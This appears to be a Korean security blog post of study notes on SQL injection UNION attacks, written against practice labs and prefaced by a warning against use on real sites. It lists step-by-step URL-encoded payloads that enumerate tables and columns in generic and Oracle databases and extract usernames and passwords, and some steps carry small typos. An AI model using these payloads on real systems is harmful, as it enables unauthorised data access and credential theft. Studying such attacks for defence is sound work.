본문 바로가기

보안/WEB

[WEB 보안] SQL Injection-UNION Attack_2

반응형

※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.

 

1. 목적 : SQL 이외의 데이터베이스에 대한 데이터베이스 내용을 나열하는 SQL Injection 공격

2. 방법 :

1) 관리자의 비밀번호 찾기

(1) '+UNION+SELECT+NULL,NULL--

(2) '+UNION+SELECT+'abc','def'--

(3) '+UNION+SELECT+table.name,+NULL+FROM+information_schema.tables--

(4) '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_mqhltk'--

(사용자 이름과 비밀번호가 포함된 열 찾기)

* users_mqhltk : USERS_ABCDEF

(5) '+UNION+SELECT+username_ifigap,+password_dsrzyc+FROM+users_mclhltk--

* username_ifigap : USERNAME_ABCDEF

* password_dsrzyc : PASSWORD_ABCDEF

* users_mclhltk : USERS_ABCDEF

2) Oracle 스키마 정보 얻기

- all_tables를 쿼리하여 테이블 나열

SELECT * FROM all_tables

- all_tab_columns를 쿼리하여 열을 나열

SELECT * FROM all_tab_columns WHERE table_name='USERS'

3) Oracle 데이터베이스 내용 나열(SQL Injection 공격)

(1) 컬럼 갯수 확인

'+UNION+SELECT+NULL,NULL+FROM+dual--

(2) 컬럼에 값을 입력시 정상출력 위치 찾기

'+UNION+SELECT+'abc','def'+FROM+dual--

(3) 데이터베이스에서 테이블 목록 검색

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

(4) 테이블의 열 세부 사항 검색

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_SOSTTP'--

* USERS_SOSTTP : 테이블 이름(USERS_ABCDEF)

(5) USERS_SOSTTP 테이블에 USERS 이름, 패스워드 일치 확인

'+UNION+SELECT+USERNAME_BZUQGH,+PASSWORD_JREVYF+FROM+USERS_SOSTTP--

* USERNAME_BZUQGH : USER NAME

* PASSWORD_JREVYF : PASSWORD

* USERS_SOSTTP : 테이블 이름

4) 단일 열 내에서 여러 값 검색

- 조합된 값을 구별 할 수 있는 적절한 구분 기호를 포함하여 값을 함께 연결하여 단일 열 내에서 여러 값을 쉽게 검색 할 수 있음

Ex. Oracle

'+UNION+SELECT+username||'~'||password+FROM+users--

5) 단일 컬럼에서 여러 값을 검색하는 SQL Injection(UNION 공격)

(1) '+UNION+SELECT+NULL,NULL--

(2) '+UNION+SELECT+NULL,'abc'--

(3) '+UNION+SELECT+NULL,username||'~'||password+FROM+users--

반응형